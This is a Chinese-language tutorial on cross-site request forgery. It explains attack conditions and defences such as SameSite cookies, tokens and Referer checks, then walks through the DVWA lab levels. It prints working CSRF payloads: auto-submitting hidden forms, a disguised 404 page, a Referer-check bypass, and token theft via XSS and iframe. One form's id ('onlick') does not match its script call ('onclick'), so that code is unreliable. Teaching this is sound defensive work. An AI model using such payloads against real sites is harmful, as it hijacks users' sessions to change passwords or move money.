csrf漏洞浅谈
字数 1029 2025-08-18 11:35:46
CSRF漏洞全面解析与防御指南
一、CSRF漏洞概述
CSRF(Cross Site Request Forgery,跨站请求伪造)是一种网络攻击手段,攻击者通过伪装成受信任用户来执行未经授权的操作。
1.1 CSRF与XSS的区别
- XSS:利用受信任的用户
- CSRF:伪装成受信任用户
虽然CSRF被认为比XSS危险性低,但仍需高度重视。
二、CSRF攻击原理
2.1 攻击分类
- 狭义CSRF:攻击者将代码植入受害用户访问的页面,以"受害用户"身份向服务端发起伪造请求
- 广义CSRF:攻击者预测HTTP接口所有参数,任意调用接口执行CURD操作
2.2 攻击条件
- 受害者已登录目标网站并在本地生成cookie
- 在cookie未过期时,受害者访问了攻击者页面(使用同一浏览器)
三、CSRF攻击实现方式
3.1 GET型攻击
示例:银行转账漏洞
http://csrfxj.com/zhuanzhang.php?name=ls&money=100000
隐蔽技术:
- 利用a标签隐藏
- 使用HTML的src属性(页面不显示)
- 使用background属性的url功能
3.2 POST型攻击
使用自动提交表单:
<form name="csrf" action="http://edu.xss.tv/payload/xss/csrf2.php" method="post">
<input type="hidden" name="name" value="zhangsan520">
<input type="hidden" name="money" value="1000">
</form>
<script type="text/javascript">document.csrf.submit();</script>
四、CSRF漏洞检测
使用Burp Suite的CSRF POC功能:
- 抓取目标请求
- 生成攻击页面
- 修改参数测试功能是否生效
五、CSRF防御措施
5.1 前端防御
SameSite Cookie属性:
Strict:完全禁止跨站发送CookieLax:宽松模式,部分导航GET请求可带CookieNone:关闭SameSite(必须同时设置Secure属性)
5.2 后端防御
-
CSRF Token:
- 表单页面生成随机Token
- 后端存储并验证Token
-
Referer检查:
- 验证请求头中的Referer字段是否来自可信源
六、DVWA靶场实战
6.1 Low级别
直接修改URL参数即可攻击:
http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change#
隐蔽攻击页面示例:
<!DOCTYPE html>
<html>
<head>
<title>404</title>
</head>
<body>
<h1>Not Found</h1>
<image src="攻击URL" />
<p>The requested URL was not found on this server.</p>
</body>
</html>
6.2 Medium级别
防御:检查HTTP_REFERER是否包含SERVER_NAME
绕过方法:将攻击页面命名为本地IP地址
6.3 High级别
防御:使用Token机制
绕过方法:
- 结合XSS获取Token:
alert(document.cookie);
var theUrl = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/';
// XMLHttpRequest代码获取Token...
- 使用iframe获取Token:
<iframe src="../csrf" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
- 构造自动提交表单:
<form method="GET" action="http://127.0.0.1/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type='hidden' name='user_token' value="获取的Token">
<input type="hidden" name="Change" value="Change" id="onlick">
</form>
<script>document.getElementById("onclick").click();</script>
七、总结
CSRF攻击虽然不如XSS流行,但危害性不容忽视。防御CSRF需要前后端协同配合,推荐使用CSRF Token+SameSite Cookie的组合防御方案。在实际开发中,应避免仅依赖Referer检查等可绕过的防御措施。